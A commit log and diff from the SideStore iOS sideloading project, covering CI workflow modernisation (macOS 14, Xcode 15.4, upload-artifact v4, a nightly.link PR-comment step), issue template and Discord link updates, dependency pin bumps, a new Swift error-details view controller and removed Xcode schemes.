36913b425c Fixes “variable mutated after capture by sendable closure” warning 2023-07-27 04:47:44 -04:00
Riley Testut
822ea08d89 Fixes AppViewController deprecation warnings 2023-07-27 04:47:43 -04:00
Riley Testut
98dd6f3fe7 Fixes CollapsingTextView “TextKit 1 compatibility mode” runtime warning 2023-07-27 04:47:38 -04:00
Nythepegasus
b3f0dbb155 Change circle and logo to just be circle for now 2023-07-27 02:59:30 -04:00
nythepegasus
6904d931c3 Change the lock screen icon to be legible
Signed-off-by: nythepegasus <me@nythepegas.us>
2023-07-27 02:25:09 -04:00
Nythepegasus
529466a9f7 Merge branch 'develop' into patch/fix-widget 2023-07-24 09:29:03 -04:00
Nythepegasus
77dc695ba1 Revert the retries here as these seem buggier 2023-07-24 09:22:34 -04:00
Nythepegasus
e17776f651 Remove unused Riley and Shane images from bundle 2023-07-24 07:54:20 -04:00
Nythepegasus
0d2f355a74 Update AltWidget assets 2023-07-24 07:18:42 -04:00
Nythepegasus
2ce1576016 Move the first app group to be known shared group 2023-07-24 05:49:36 -04:00
Nythepegasus
0f3be3c494 Update AltWidget/ReleaseEntitlements.plist
Signed-off-by: Nythepegasus <me@nythepegas.us>
2023-07-24 05:40:51 -04:00
Nythepegasus
8c1ca8503a Fix Actions builds for AltWidget 2023-07-24 05:28:26 -04:00
Wes Bryie
32a59c17f4 [skip ci] em_proxy link update (#412)
Signed-off-by: Wes Bryie <wes@wesbryie.tech>
2023-07-21 20:04:44 -07:00
Riley Testut
b4b4ceab0b Fixes updating apps with manually-removed app extensions (e.g. uYou+) 2023-07-17 12:15:04 -04:00
Nythepegasus
be1f27bb9e Revert "Fix building on Xcode 15"
This reverts commit 3de24dcfce.
2023-07-11 02:00:49 -04:00
Nythepegasus
ed10ddb1cb Go to home screen instead of Safari/notif combo 2023-07-11 01:45:14 -04:00
Nythepegasus
dbdb4b0f32 Add various retries to the minimuxer calls 2023-07-11 01:44:11 -04:00
Nythepegasus
59e537362e Xcode 15 keeps adding imobiledevice.swift 2023-07-10 14:33:53 -04:00
Nythepegasus
6d96bf414f These vars don't change, let's use let keyword 2023-07-10 14:32:41 -04:00
Nythepegasus
e7ba778a5f Update AltSign and OpenSSL packages 2023-07-09 14:00:02 -04:00
Nythepegasus
933d349cd5 Fix libfragmentzip's search path 2023-07-09 14:00:02 -04:00
Nythepegasus
3de24dcfce Fix building on Xcode 15 2023-07-09 13:59:55 -04:00
Spidy123222
3275d16b8b [skip ci] use odyssey team unified source
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2023-07-08 23:53:53 -07:00
Spidy123222
5bb4cd1dad [skip ci] Add Taurine
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2023-07-08 23:32:41 -07:00
Nythepegasus
16b14441fa Update Macley omnisette server IP
Signed-off-by: Nythepegasus <nythepegasus84@gmail.com>
2023-07-03 10:47:54 -04:00
Joshua Laymon
93a6272d30 Merge pull request #387 from bogotesr/develop
Fix up patreon screen and add socials
2023-06-21 21:58:04 -07:00
Spidy123222
0dc526f778 Replace old servers with macley v3 ansiette 2023-06-14 13:56:12 -07:00
bogotesr
183e185812 Change Patreon screen again
Refresh to "support us" and include social media.
2023-06-13 23:14:01 -07:00
Stern
e02453598c Update pr.yml
Signed-off-by: Stern <xsternent@gmail.com>
2023-06-13 20:31:37 -04:00
Stern
24af1b5b5f Update pr.yml
Signed-off-by: Stern <xsternent@gmail.com>
2023-06-13 20:30:41 -04:00
405 changed files with 5166 additions and 14324 deletions

2
.github/CODEOWNERS vendored
View File

@@ -1 +1 @@
* @JoeMatt @lonkelle
* @JoeMatt @lonkelle @nythepegasus @Spidy123222 @SternXD

View File

@@ -2,15 +2,15 @@ name: Bug Report
description: Report a bug
title: "[BUG] "
labels: ["bug"]
assignees:
- naturecodevoid
assignees: []
body:
- type: markdown
attributes:
value: |
## Please note that the issue tracker is not for support
Thanks for taking the time to fill out this bug report! Before you continue filling out the report, please **[search in GitHub Issues](https://github.com/SideStore/SideStore/issues?q=is%3Aissue+is%3Aopen) for the bug you are experiencing** in case it has already been reported.
**Please use [Discord](https://discord.gg/RgpFBX3Q3k) or [GitHub Discussions](https://github.com/SideStore/SideStore/discussions) for support.**
**Please use [Discord](https://discord.gg/sidestore-949183273383395328) or [GitHub Discussions](https://github.com/SideStore/SideStore/discussions) for support.**
- type: textarea
id: description
attributes:

View File

@@ -3,7 +3,7 @@ blank_issues_enabled: false
contact_links:
- name: Discord
url: https://discord.gg/RgpFBX3Q3k
url: https://discord.gg/sidestore-949183273383395328
about: If you need support, please go here first instead of making an issue!
- name: GitHub Discussions
url: https://github.com/SideStore/SideStore/discussions

View File

@@ -2,15 +2,14 @@ name: Feature Request
description: Suggest a feature
title: "[FEATURE REQUEST] "
labels: ["enhancement"]
assignees:
- naturecodevoid
assignees: []
body:
- type: markdown
attributes:
value: |
Thanks for taking the time to fill out this feature request! Before you continue filling out the form, please **[search in GitHub Issues](https://github.com/SideStore/SideStore/issues?q=is%3Aissue+is%3Aopen) for the feature you are suggestion** in case it has already been suggested.
**Please use [Discord](https://discord.gg/RgpFBX3Q3k) or [GitHub Discussions](https://github.com/SideStore/SideStore/discussions) for support.**
**Please use [Discord](https://discord.gg/sidestore-949183273383395328) or [GitHub Discussions](https://github.com/SideStore/SideStore/discussions) for support.**
- type: textarea
id: description
attributes:

View File

@@ -10,6 +10,3 @@
<!-- Example: -->
- [x] Finish UI changes
- [ ] Test
<!-- If your PR doesn't close an issue, you can remove the next line. -->
Closes #1234

View File

@@ -20,3 +20,58 @@ jobs:
format: name
addTo: pull
# addTo: pullandissues
nightly-link-comment:
if: github.event.workflow_run.event == 'pull_request' && github.event.workflow_run.conclusion == 'success'
runs-on: ubuntu-latest
steps:
- uses: actions/github-script@v6
with:
# This snippet is public-domain, taken from
# https://github.com/oprypin/nightly.link/blob/master/.github/workflows/pr-comment.yml
script: |
async function upsertComment(owner, repo, issue_number, purpose, body) {
const {data: comments} = await github.rest.issues.listComments(
{owner, repo, issue_number});
const marker = `<!-- bot: ${purpose} -->`;
body = marker + "\n" + body;
const existing = comments.filter((c) => c.body.includes(marker));
if (existing.length > 0) {
const last = existing[existing.length - 1];
core.info(`Updating comment ${last.id}`);
await github.rest.issues.updateComment({
owner, repo,
body,
comment_id: last.id,
});
} else {
core.info(`Creating a comment in issue / PR #${issue_number}`);
await github.rest.issues.createComment({issue_number, body, owner, repo});
}
}
const {owner, repo} = context.repo;
const run_id = ${{github.event.workflow_run.id}};
const pull_requests = ${{ toJSON(github.event.workflow_run.pull_requests) }};
if (!pull_requests.length) {
return core.error("This workflow doesn't match any pull requests!");
}
const artifacts = await github.paginate(
github.rest.actions.listWorkflowRunArtifacts, {owner, repo, run_id});
if (!artifacts.length) {
return core.error(`No artifacts found`);
}
let body = `Download the artifacts for this pull request (nightly.link):\n`;
for (const art of artifacts) {
body += `\n* [${art.name}.zip](https://nightly.link/${owner}/${repo}/actions/artifacts/${art.id}.zip)`;
}
core.info("Review thread message body:", body);
for (const pr of pull_requests) {
await upsertComment(owner, repo, pr.number,
"nightly-link", body);
}

View File

@@ -11,13 +11,13 @@ jobs:
fail-fast: false
matrix:
include:
- os: 'macos-12'
version: '14.2'
- os: 'macos-14'
version: '15.4'
runs-on: ${{ matrix.os }}
steps:
- name: Checkout code
uses: actions/checkout@v2
uses: actions/checkout@v4
with:
submodules: recursive
@@ -27,9 +27,6 @@ jobs:
- name: Change version to tag
run: sed -e '/MARKETING_VERSION = .*/s/= .*/= ${{ github.ref_name }}/' -i '' Build.xcconfig
- name: Change default icon to beta icon
run: sed -e 's/= Neon/= Starburst/' -i '' ./AltStore.xcodeproj/project.pbxproj
- name: Get version
id: version
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
@@ -38,25 +35,25 @@ jobs:
run: echo "${{ steps.version.outputs.version }}"
- name: Setup Xcode
uses: maxim-lobanov/setup-xcode@v1.4.1
uses: maxim-lobanov/setup-xcode@v1
with:
xcode-version: ${{ matrix.version }}
- name: "[Normal] Build SideStore, fakesign app and convert to IPA"
run: |
make build | xcpretty
make fakesign
make ipa
- name: Cache Build
uses: irgaly/xcode-cache@v1
with:
key: xcode-cache-deriveddata-${{ github.sha }}
restore-keys: xcode-cache-deriveddata
- name: Enable MDC
run: make enable_mdc
- name: Build SideStore
run: make build | xcpretty && exit ${PIPESTATUS[0]}
- name: "[MDC] Build SideStore, fakesign app and convert to IPA"
run: |
make clean
make build DSYM_FOLDER=./MDC-dSYM | xcpretty
make fakesign
make ipa IPA_NAME=SideStore-MDC.ipa
- name: Fakesign app
run: make fakesign
- name: Convert to IPA
run: make ipa
- name: Get current date
id: date
@@ -74,9 +71,7 @@ jobs:
tag_name: ${{ github.ref_name }}
draft: true
prerelease: true
files: |
SideStore.ipa
SideStore-MDC.ipa
files: SideStore.ipa
body: |
<!-- NOTE: to reset SideSource cache, go to `https://apps.sidestore.io/reset-cache/nightly/<sidesource key>`. This is not included in the GitHub Action since it makes draft releases so they can be edited and have a changelog. -->
Beta builds are hand-picked builds from development commits that will allow you to try out new features earlier than normal. However, **they might contain bugs and other issues. Use at your own risk!**
@@ -95,29 +90,14 @@ jobs:
- name: Add version to IPA file name
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
- name: Add version to MDC IPA file name
run: mv SideStore-MDC.ipa SideStore-MDC-${{ steps.version.outputs.version }}.ipa
- name: Upload SideStore.ipa Artifact
uses: actions/upload-artifact@v3.1.0
uses: actions/upload-artifact@v4
with:
name: SideStore-${{ steps.version.outputs.version }}.ipa
path: SideStore-${{ steps.version.outputs.version }}.ipa
- name: Upload SideStore-MDC.ipa Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
path: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
- name: Upload dSYM Artifact
uses: actions/upload-artifact@v3.1.0
- name: Upload *.dSYM Artifact
uses: actions/upload-artifact@v4
with:
name: SideStore-${{ steps.version.outputs.version }}-dSYM
path: ./dSYM/*
- name: Upload MDC-dSYM Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-MDC-${{ steps.version.outputs.version }}-dSYM
path: ./MDC-dSYM/*
path: ./*.dSYM/

View File

@@ -14,21 +14,24 @@ jobs:
fail-fast: false
matrix:
include:
- os: 'macos-12'
version: '14.2'
- os: 'macos-14'
version: '15.4'
runs-on: ${{ matrix.os }}
steps:
- name: Checkout code
uses: actions/checkout@v2
uses: actions/checkout@v4
with:
submodules: recursive
- name: Install dependencies
run: brew install ldid
- name: Install xcbeautify
run: brew install xcbeautify
- name: Cache .nightly-build-num
uses: actions/cache@v3
uses: actions/cache@v4
with:
path: .nightly-build-num
key: nightly-build-num
@@ -36,12 +39,6 @@ jobs:
- name: Increase nightly build number and set as version
run: bash .github/workflows/increase-nightly-build-num.sh
- name: Change default icon to nightly icon
run: sed -e 's/= Neon/= Steel/' -i '' ./AltStore.xcodeproj/project.pbxproj
- name: Enable unstable features
run: make enable_unstable
- name: Get version
id: version
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
@@ -50,25 +47,27 @@ jobs:
run: echo "${{ steps.version.outputs.version }}"
- name: Setup Xcode
uses: maxim-lobanov/setup-xcode@v1.4.1
uses: maxim-lobanov/setup-xcode@v1.6.0
with:
xcode-version: ${{ matrix.version }}
- name: "[Normal] Build SideStore, fakesign app and convert to IPA"
run: |
make build | xcpretty
make fakesign
make ipa
- name: Cache Build
uses: irgaly/xcode-cache@v1
with:
key: xcode-cache-deriveddata-${{ github.sha }}
restore-keys: xcode-cache-deriveddata-
swiftpm-cache-key: xcode-cache-sourcedata-${{ github.sha }}
swiftpm-cache-restore-keys: |
xcode-cache-sourcedata-
- name: Enable MDC
run: make enable_mdc
- name: Build SideStore
run: NSUnbufferedIO=YES make build 2>&1 | xcbeautify --renderer github-actions && exit ${PIPESTATUS[0]}
- name: "[MDC] Build SideStore, fakesign app and convert to IPA"
run: |
make clean
make build DSYM_FOLDER=./MDC-dSYM | xcpretty
make fakesign
make ipa IPA_NAME=SideStore-MDC.ipa
- name: Fakesign app
run: make fakesign
- name: Convert to IPA
run: make ipa
- name: Get current date
id: date
@@ -85,9 +84,7 @@ jobs:
release: "Nightly"
tag: "nightly"
prerelease: true
files: |
SideStore.ipa
SideStore-MDC.ipa
files: SideStore.ipa
body: |
This is an ⚠️ **EXPERIMENTAL** ⚠️ nightly build for commit [${{ github.sha }}](https://github.com/${{ github.repository }}/commit/${{ github.sha }}).
@@ -105,32 +102,14 @@ jobs:
- name: Add version to IPA file name
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
- name: Add version to MDC IPA file name
run: mv SideStore-MDC.ipa SideStore-MDC-${{ steps.version.outputs.version }}.ipa
- name: Upload SideStore.ipa Artifact
uses: actions/upload-artifact@v3.1.0
uses: actions/upload-artifact@v4
with:
name: SideStore-${{ steps.version.outputs.version }}.ipa
path: SideStore-${{ steps.version.outputs.version }}.ipa
- name: Upload SideStore-MDC.ipa Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
path: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
- name: Upload dSYM Artifact
uses: actions/upload-artifact@v3.1.0
- name: Upload *.dSYM Artifact
uses: actions/upload-artifact@v4
with:
name: SideStore-${{ steps.version.outputs.version }}-dSYM
path: ./dSYM/*
- name: Upload MDC-dSYM Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-MDC-${{ steps.version.outputs.version }}-dSYM
path: ./MDC-dSYM/*
- name: Reset cache for apps.sidestore.io/nightly
run: sleep 10 && curl https://apps.sidestore.io/reset-cache/nightly/${{ secrets.SIDESOURCE_KEY }}
path: ./*.dSYM/

View File

@@ -9,13 +9,13 @@ jobs:
fail-fast: false
matrix:
include:
- os: 'macos-12'
version: '14.2'
- os: 'macos-14'
version: '15.4'
runs-on: ${{ matrix.os }}
steps:
- name: Checkout code
uses: actions/checkout@v2
uses: actions/checkout@v4
with:
submodules: recursive
@@ -27,12 +27,6 @@ jobs:
env:
COMMIT: ${{ github.event.pull_request.head.sha }}
- name: Change default icon to alpha icon
run: sed -e 's/= Neon/= Storm/' -i '' ./AltStore.xcodeproj/project.pbxproj
- name: Enable unstable features
run: make enable_unstable
- name: Get version
id: version
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
@@ -41,52 +35,36 @@ jobs:
run: echo "${{ steps.version.outputs.version }}"
- name: Setup Xcode
uses: maxim-lobanov/setup-xcode@v1.4.1
uses: maxim-lobanov/setup-xcode@v1.6.0
with:
xcode-version: ${{ matrix.version }}
- name: "[Normal] Build SideStore, fakesign app and convert to IPA"
run: |
make build | xcpretty
make fakesign
make ipa
- name: Cache Build
uses: irgaly/xcode-cache@v1
with:
key: xcode-cache-deriveddata-${{ github.sha }}
restore-keys: xcode-cache-deriveddata-
- name: Enable MDC
run: make enable_mdc
- name: Build SideStore
run: NSUnbufferedIO=YES make build | xcbeautify --renderer github-actions && exit ${PIPESTATUS[0]}
- name: "[MDC] Build SideStore, fakesign app and convert to IPA"
run: |
make clean
make build DSYM_FOLDER=./MDC-dSYM | xcpretty
make fakesign
make ipa IPA_NAME=SideStore-MDC.ipa
- name: Fakesign app
run: make fakesign
- name: Convert to IPA
run: make ipa
- name: Add version to IPA file name
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
- name: Add version to MDC IPA file name
run: mv SideStore-MDC.ipa SideStore-MDC-${{ steps.version.outputs.version }}.ipa
- name: Upload SideStore.ipa Artifact
uses: actions/upload-artifact@v3.1.0
uses: actions/upload-artifact@v4
with:
name: SideStore-${{ steps.version.outputs.version }}.ipa
path: SideStore-${{ steps.version.outputs.version }}.ipa
- name: Upload SideStore-MDC.ipa Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
path: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
- name: Upload dSYM Artifact
uses: actions/upload-artifact@v3.1.0
- name: Upload *.dSYM Artifact
uses: actions/upload-artifact@v4
with:
name: SideStore-${{ steps.version.outputs.version }}-dSYM
path: ./dSYM/*
- name: Upload MDC-dSYM Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-MDC-${{ steps.version.outputs.version }}-dSYM
path: ./MDC-dSYM/*
path: ./*.dSYM/

View File

@@ -3,6 +3,7 @@ on:
push:
tags:
- '[0-9]+.[0-9]+.[0-9]+' # example: 1.0.0
workflow_dispatch:
jobs:
build:
@@ -11,13 +12,13 @@ jobs:
fail-fast: false
matrix:
include:
- os: 'macos-12'
version: '14.2'
- os: 'macos-14'
version: '15.4'
runs-on: ${{ matrix.os }}
steps:
- name: Checkout code
uses: actions/checkout@v2
uses: actions/checkout@v4
with:
submodules: recursive
@@ -35,25 +36,27 @@ jobs:
run: echo "${{ steps.version.outputs.version }}"
- name: Setup Xcode
uses: maxim-lobanov/setup-xcode@v1.4.1
uses: maxim-lobanov/setup-xcode@v1.6.0
with:
xcode-version: ${{ matrix.version }}
- name: "[Normal] Build SideStore, fakesign app and convert to IPA"
run: |
make build | xcpretty
make fakesign
make ipa
- name: Cache Build
uses: irgaly/xcode-cache@v1
with:
key: xcode-cache-deriveddata-${{ github.sha }}
restore-keys: xcode-cache-deriveddata-
swiftpm-cache-key: xcode-cache-sourcedata-${{ github.sha }}
swiftpm-cache-restore-keys: |
xcode-cache-sourcedata-
- name: Enable MDC
run: make enable_mdc
- name: Build SideStore
run: NSUnbufferedIO=YES make build | xcbeautify --renderer github-actions && exit ${PIPESTATUS[0]}
- name: "[MDC] Build SideStore, fakesign app and convert to IPA"
run: |
make clean
make build DSYM_FOLDER=./MDC-dSYM | xcpretty
make fakesign
make ipa IPA_NAME=SideStore-MDC.ipa
- name: Fakesign app
run: make fakesign
- name: Convert to IPA
run: make ipa
- name: Get current date
id: date
@@ -70,9 +73,7 @@ jobs:
name: ${{ steps.version.outputs.version }}
tag_name: ${{ github.ref_name }}
draft: true
files: |
SideStore.ipa
SideStore-MDC.ipa
files: SideStore.ipa
body: |
<!-- NOTE: to reset SideSource cache, go to `https://apps.sidestore.io/reset-cache/nightly/<sidesource key>`. This is not included in the GitHub Action since it makes draft releases so they can be edited and have a changelog. -->
## Changelog
@@ -89,29 +90,14 @@ jobs:
- name: Add version to IPA file name
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
- name: Add version to MDC IPA file name
run: mv SideStore-MDC.ipa SideStore-MDC-${{ steps.version.outputs.version }}.ipa
- name: Upload SideStore.ipa Artifact
uses: actions/upload-artifact@v3.1.0
uses: actions/upload-artifact@v4
with:
name: SideStore-${{ steps.version.outputs.version }}.ipa
path: SideStore-${{ steps.version.outputs.version }}.ipa
- name: Upload SideStore-MDC.ipa Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
path: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
- name: Upload dSYM Artifact
uses: actions/upload-artifact@v3.1.0
- name: Upload *.dSYM Artifact
uses: actions/upload-artifact@v4
with:
name: SideStore-${{ steps.version.outputs.version }}-dSYM
path: ./dSYM/*
- name: Upload MDC-dSYM Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-MDC-${{ steps.version.outputs.version }}-dSYM
path: ./MDC-dSYM/*
path: ./*.dSYM/

5
.gitignore vendored
View File

@@ -19,7 +19,6 @@ archive.xcarchive
*.perspectivev3
!default.perspectivev3
xcuserdata
## Other
*.xccheckout
*.moved-aside
@@ -36,8 +35,8 @@ xcuserdata
.idea/
Payload/
SideStore*.ipa
*dSYM
SideStore.ipa
*.dSYM
Dependencies/.*-prebuilt-fetch-*
Dependencies/minimuxer/*

2
.gitmodules vendored
View File

@@ -9,7 +9,7 @@
url = https://github.com/libimobiledevice/libusbmuxd.git
[submodule "Dependencies/libplist"]
path = Dependencies/libplist
url = https://github.com/libimobiledevice/libplist.git
url = https://github.com/SideStore/libplist.git
[submodule "Dependencies/MarkdownAttributedString"]
path = Dependencies/MarkdownAttributedString
url = https://github.com/chockenberry/MarkdownAttributedString.git

View File

@@ -5,9 +5,9 @@
"color-space" : "srgb",
"components" : {
"alpha" : "1.000",
"blue" : "0.518",
"green" : "0.502",
"red" : "0.004"
"blue" : "175",
"green" : "4",
"red" : "115"
}
},
"idiom" : "universal"
@@ -23,9 +23,9 @@
"color-space" : "srgb",
"components" : {
"alpha" : "1.000",
"blue" : "0.404",
"green" : "0.322",
"red" : "0.008"
"blue" : "150",
"green" : "3",
"red" : "99"
}
},
"idiom" : "universal"

View File

@@ -0,0 +1,48 @@
//
// ErrorDetailsViewController.swift
// AltServer
//
// Created by Riley Testut on 10/4/22.
// Copyright © 2022 Riley Testut. All rights reserved.
//
import AppKit
class ErrorDetailsViewController: NSViewController
{
var error: NSError? {
didSet {
self.update()
}
}
@IBOutlet private var errorCodeLabel: NSTextField!
@IBOutlet private var detailedDescriptionLabel: NSTextField!
override func viewDidLoad()
{
super.viewDidLoad()
self.detailedDescriptionLabel.preferredMaxLayoutWidth = 800
}
}
private extension ErrorDetailsViewController
{
func update()
{
if !self.isViewLoaded
{
self.loadView()
}
guard let error = self.error else { return }
self.errorCodeLabel.stringValue = error.localizedErrorCode
let font = self.detailedDescriptionLabel.font ?? NSFont.systemFont(ofSize: 12)
let detailedDescription = error.formattedDetailedDescription(with: font)
self.detailedDescriptionLabel.attributedStringValue = detailedDescription
}
}

File diff suppressed because it is too large Load Diff

View File

@@ -1,4 +1,5 @@
{
"originHash" : "ee46302f91cbb62c5234c36750d40856658e961e191f5536cf4fe74d10fc2c94",
"pins" : [
{
"identity" : "altsign",
@@ -6,7 +7,7 @@
"location" : "https://github.com/SideStore/AltSign",
"state" : {
"branch" : "master",
"revision" : "7e0e7edcf8fbc44ac1e35da3e9030a297aa18b84"
"revision" : "4323ff794e600ce1759cb6ea57275e13b7ea72f2"
}
},
{
@@ -14,35 +15,17 @@
"kind" : "remoteSourceControl",
"location" : "https://github.com/microsoft/appcenter-sdk-apple.git",
"state" : {
"revision" : "8354a50fe01a7e54e196d3b5493b5ab53dd5866a",
"version" : "4.4.2"
"revision" : "b2dc99cfedead0bad4e6573d86c5228c89cff332",
"version" : "4.4.3"
}
},
{
"identity" : "asyncimage",
"identity" : "imobiledevice.swift",
"kind" : "remoteSourceControl",
"location" : "https://github.com/fabianthdev/AsyncImage",
"location" : "https://github.com/SideStore/iMobileDevice.swift",
"state" : {
"branch" : "main",
"revision" : "018a4fffea025066d795ebb025c2769183f3fffb"
}
},
{
"identity" : "expandabletext",
"kind" : "remoteSourceControl",
"location" : "https://github.com/fabianthdev/ExpandableText",
"state" : {
"branch" : "main",
"revision" : "a375f5b8c73f0af69aa7add890378fdf404a29bc"
}
},
{
"identity" : "inject",
"kind" : "remoteSourceControl",
"location" : "https://github.com/krzysztofzablocki/Inject.git",
"state" : {
"revision" : "abcc4b091fd384cfd09b149a60298b75dc87c5b9",
"version" : "1.2.3"
"revision" : "74e481106dd155c0cd21bca6795fd9fe5f751654",
"version" : "1.0.5"
}
},
{
@@ -63,15 +46,6 @@
"version" : "4.2.0"
}
},
{
"identity" : "localconsole",
"kind" : "remoteSourceControl",
"location" : "https://github.com/naturecodevoid/LocalConsole.git",
"state" : {
"branch" : "main",
"revision" : "4ead9c3e565190172caac62b5179347e02999365"
}
},
{
"identity" : "nuke",
"kind" : "remoteSourceControl",
@@ -86,8 +60,8 @@
"kind" : "remoteSourceControl",
"location" : "https://github.com/krzyzanowskim/OpenSSL",
"state" : {
"revision" : "033fcb41dac96b1b6effa945ca1f9ade002370b2",
"version" : "1.1.1501"
"revision" : "8cb1d641ab5ebce2cd7cf31c93baef07bed672d4",
"version" : "1.1.2301"
}
},
{
@@ -95,17 +69,8 @@
"kind" : "remoteSourceControl",
"location" : "https://github.com/microsoft/PLCrashReporter.git",
"state" : {
"revision" : "6b27393cad517c067dceea85fadf050e70c4ceaa",
"version" : "1.10.1"
}
},
{
"identity" : "reachability.swift",
"kind" : "remoteSourceControl",
"location" : "https://github.com/ashleymills/Reachability.swift",
"state" : {
"branch" : "master",
"revision" : "a81b7367f2c46875f29577e03a60c39cdfad0c8d"
"revision" : "81cdec2b3827feb03286cb297f4c501a8eb98df1",
"version" : "1.10.2"
}
},
{
@@ -113,17 +78,8 @@
"kind" : "remoteSourceControl",
"location" : "https://github.com/SwiftPackageIndex/SemanticVersion.git",
"state" : {
"revision" : "fc670910dc0903cc269b3d0b776cda5703979c4e",
"version" : "0.3.5"
}
},
{
"identity" : "sfsafesymbols",
"kind" : "remoteSourceControl",
"location" : "https://github.com/SFSafeSymbols/SFSafeSymbols",
"state" : {
"revision" : "50bc33264e6c0972f905b61af656201cf6091de8",
"version" : "4.0.0"
"revision" : "ea8eea9d89842a29af1b8e6c7677f1c86e72fa42",
"version" : "0.4.0"
}
},
{
@@ -131,8 +87,8 @@
"kind" : "remoteSourceControl",
"location" : "https://github.com/sparkle-project/Sparkle.git",
"state" : {
"revision" : "286edd1fa22505a9e54d170e9fd07d775ea233f2",
"version" : "2.1.0"
"revision" : "0ef1ee0220239b3776f433314515fd849025673f",
"version" : "2.6.4"
}
},
{
@@ -140,8 +96,8 @@
"kind" : "remoteSourceControl",
"location" : "https://github.com/daltoniam/Starscream.git",
"state" : {
"revision" : "df8d82047f6654d8e4b655d1b1525c64e1059d21",
"version" : "4.0.4"
"revision" : "c6bfd1af48efcc9a9ad203665db12375ba6b145a",
"version" : "4.0.8"
}
},
{
@@ -152,16 +108,7 @@
"branch" : "master",
"revision" : "10a9150ef32d444af326beba76356ae9af95a3e7"
}
},
{
"identity" : "zipfoundation",
"kind" : "remoteSourceControl",
"location" : "https://github.com/weichsel/ZIPFoundation.git",
"state" : {
"revision" : "43ec568034b3731101dbf7670765d671c30f54f3",
"version" : "0.9.16"
}
}
],
"version" : 2
"version" : 3
}

View File

@@ -1,111 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<Scheme
LastUpgradeVersion = "1150"
version = "1.3">
<BuildAction
parallelizeBuildables = "NO"
buildImplicitDependencies = "YES">
<BuildActionEntries>
<BuildActionEntry
buildForTesting = "YES"
buildForRunning = "YES"
buildForProfiling = "YES"
buildForArchiving = "YES"
buildForAnalyzing = "YES">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "A7A6DC28A6D60809855FE404C6A3EA29"
BuildableName = "libPods-AltDaemon.a"
BlueprintName = "Pods-AltDaemon"
ReferencedContainer = "container:Pods/Pods.xcodeproj">
</BuildableReference>
</BuildActionEntry>
<BuildActionEntry
buildForTesting = "YES"
buildForRunning = "YES"
buildForProfiling = "YES"
buildForArchiving = "YES"
buildForAnalyzing = "YES">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "BF1E314F22A0616100370A3C"
BuildableName = "libAltKit.a"
BlueprintName = "AltKit"
ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference>
</BuildActionEntry>
<BuildActionEntry
buildForTesting = "YES"
buildForRunning = "YES"
buildForProfiling = "YES"
buildForArchiving = "YES"
buildForAnalyzing = "YES">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "BF18BFE624857D7900DD5981"
BuildableName = "AltDaemon"
BlueprintName = "AltDaemon"
ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference>
</BuildActionEntry>
</BuildActionEntries>
</BuildAction>
<TestAction
buildConfiguration = "Debug"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
shouldUseLaunchSchemeArgsEnv = "YES">
<Testables>
</Testables>
</TestAction>
<LaunchAction
buildConfiguration = "Release"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
launchStyle = "0"
useCustomWorkingDirectory = "NO"
ignoresPersistentStateOnLaunch = "NO"
debugDocumentVersioning = "YES"
debugServiceExtension = "internal"
allowLocationSimulation = "YES">
<MacroExpansion>
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "BF18BFE624857D7900DD5981"
BuildableName = "AltDaemon"
BlueprintName = "AltDaemon"
ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference>
</MacroExpansion>
<EnvironmentVariables>
<EnvironmentVariable
key = "THEOS"
value = "~/theos"
isEnabled = "YES">
</EnvironmentVariable>
</EnvironmentVariables>
</LaunchAction>
<ProfileAction
buildConfiguration = "Release"
shouldUseLaunchSchemeArgsEnv = "YES"
savedToolIdentifier = ""
useCustomWorkingDirectory = "NO"
debugDocumentVersioning = "YES">
<MacroExpansion>
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "BF18BFE624857D7900DD5981"
BuildableName = "AltDaemon"
BlueprintName = "AltDaemon"
ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference>
</MacroExpansion>
</ProfileAction>
<AnalyzeAction
buildConfiguration = "Debug">
</AnalyzeAction>
<ArchiveAction
buildConfiguration = "Release"
revealArchiveInOrganizer = "YES">
</ArchiveAction>
</Scheme>

View File

@@ -1,67 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<Scheme
LastUpgradeVersion = "1120"
version = "1.3">
<BuildAction
